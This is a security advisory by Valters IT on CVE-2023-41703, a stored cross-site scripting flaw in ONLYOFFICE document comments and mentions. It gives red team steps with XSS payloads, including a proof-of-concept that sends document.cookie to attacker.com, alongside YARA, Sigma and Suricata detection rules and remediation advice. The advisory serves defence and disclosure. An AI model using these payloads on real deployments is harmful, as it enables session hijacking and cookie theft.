CVE-2023-41703

Executive Summary

CVE-2023-41703 is a stored cross-site scripting (XSS) vulnerability in ONLYOFFICE, affecting the handling of user ID references in document comments. An attacker can craft a malicious document containing unsanitized script code in mentions or comments. When a victim opens this document, the script executes in the context of their session, potentially leading to data theft, session hijacking, or further compromise. The CVSS score is 6.1 (Medium), and no public exploits are known. The vendor has released patches that filter user-defined content to prevent injection.

Supply Chain & Package Security

ONLYOFFICE is a self-hosted office suite often deployed via Docker, Linux packages, or cloud instances. This vulnerability does not directly affect package registries (NPM, PyPI, Go, Ruby), but organizations using ONLYOFFICE as a document collaboration platform should verify their deployment version and apply the patch immediately.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim opens malicious document)
• Scope: Changed (impact may extend beyond vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires user interaction, but the impact can include session hijacking and data exfiltration.

Deep Dive & Mechanics

The vulnerability resides in the comment and mention feature of ONLYOFFICE. When a user adds a comment and references another user via @mention, the user ID is embedded in the document. The sanitization logic failed to properly escape or filter script content within these references. An attacker can craft a document with a malicious payload in a mention, such as:

<script>alert('XSS')</script>

When the victim opens the document, the script executes in the browser context, allowing the attacker to steal cookies, perform actions on behalf of the victim, or inject further malicious content.

The root cause is insufficient output encoding of user-controlled data before rendering in the HTML document. The patch introduces filtering of user-defined content in comments and mentions to strip or escape potentially malicious HTML/JavaScript.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):
The application directly inserts user-provided mention data into the DOM without sanitization.

// Vulnerable: unsanitized user input
document.getElementById('comment').innerHTML = userInput;

Patched Code (Conceptual):
The application sanitizes the input using a library like DOMPurify or escapes HTML entities.

// Patched: sanitized user input
const sanitized = DOMPurify.sanitize(userInput);
document.getElementById('comment').innerHTML = sanitized;

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to ONLYOFFICE instance (any version prior to patch).
• Ability to upload a document or share a document with comments.

Steps:

1. Create a new document in ONLYOFFICE.
2. Add a comment containing a malicious mention:

   @<img src=x onerror=alert('XSS')>
   

3. Save and share the document with the target user.
4. When the target opens the document and views the comment, the XSS payload executes.

Proof-of-Concept (No public exploit available):

<!-- Malicious document comment -->
<p>Hello @<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script></p>

Blue Team

Detection:

• Monitor for unusual document sharing activity.
• Inspect document comments for suspicious HTML/JavaScript patterns.
• Use WAF rules to block common XSS payloads in document uploads.

Hunting:

• Search logs for @ followed by <script> or event handlers like onerror, onload.
• Review user sessions for unexpected outbound connections.

Lab Setup:

• Deploy a vulnerable ONLYOFFICE instance (e.g., version 7.3.0) in a sandboxed environment.
• Use a browser with developer tools to inspect DOM after opening a malicious document.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from ONLYOFFICE client.
• File: Document files containing <script> tags or event handlers in comment fields.
• Logs: WARN or ERROR entries in ONLYOFFICE logs related to comment parsing.
• Process: Unusual JavaScript execution in browser console when viewing documents.

Detection Engineering

YARA Rule

rule CVE_2023_41703_XSS {
    meta:
        description = "Detects malicious document comments with XSS payloads targeting ONLYOFFICE"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-41703"
    strings:
        $xss1 = /@<script[^>]*>/i
        $xss2 = /@<img[^>]+onerror/i
        $xss3 = /@<svg[^>]+onload/i
        $xss4 = /@<[^>]+onmouseover/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2023-41703 ONLYOFFICE XSS in Document Comments
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential XSS attempts via malicious document comments in ONLYOFFICE
author: Valters IT
logsource:
    product: onlyoffice
    service: document-server
detection:
    selection:
        EventID: 1001  # Example event ID for comment creation
        Comment|contains|all:
            - '@'
            - '<script'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of @mentions with safe content
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-41703 ONLYOFFICE XSS Attempt"; flow:to_server,established; content:"@"; http_client_body; content:"<script"; http_client_body; distance:0; within:100; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Apply Patch: Upgrade ONLYOFFICE to the latest patched version as provided by the vendor.
2. Input Validation: Ensure all user-generated content (comments, mentions) is sanitized using a robust HTML sanitizer (e.g., DOMPurify).
3. Content Security Policy (CSP): Implement a strict CSP to block inline scripts and restrict script sources.
4. User Awareness: Educate users not to open documents from untrusted sources.
5. Network Segmentation: Restrict ONLYOFFICE access to trusted networks.
6. Monitor Logs: Enable detailed logging for document comments and review for anomalies.

Valters IT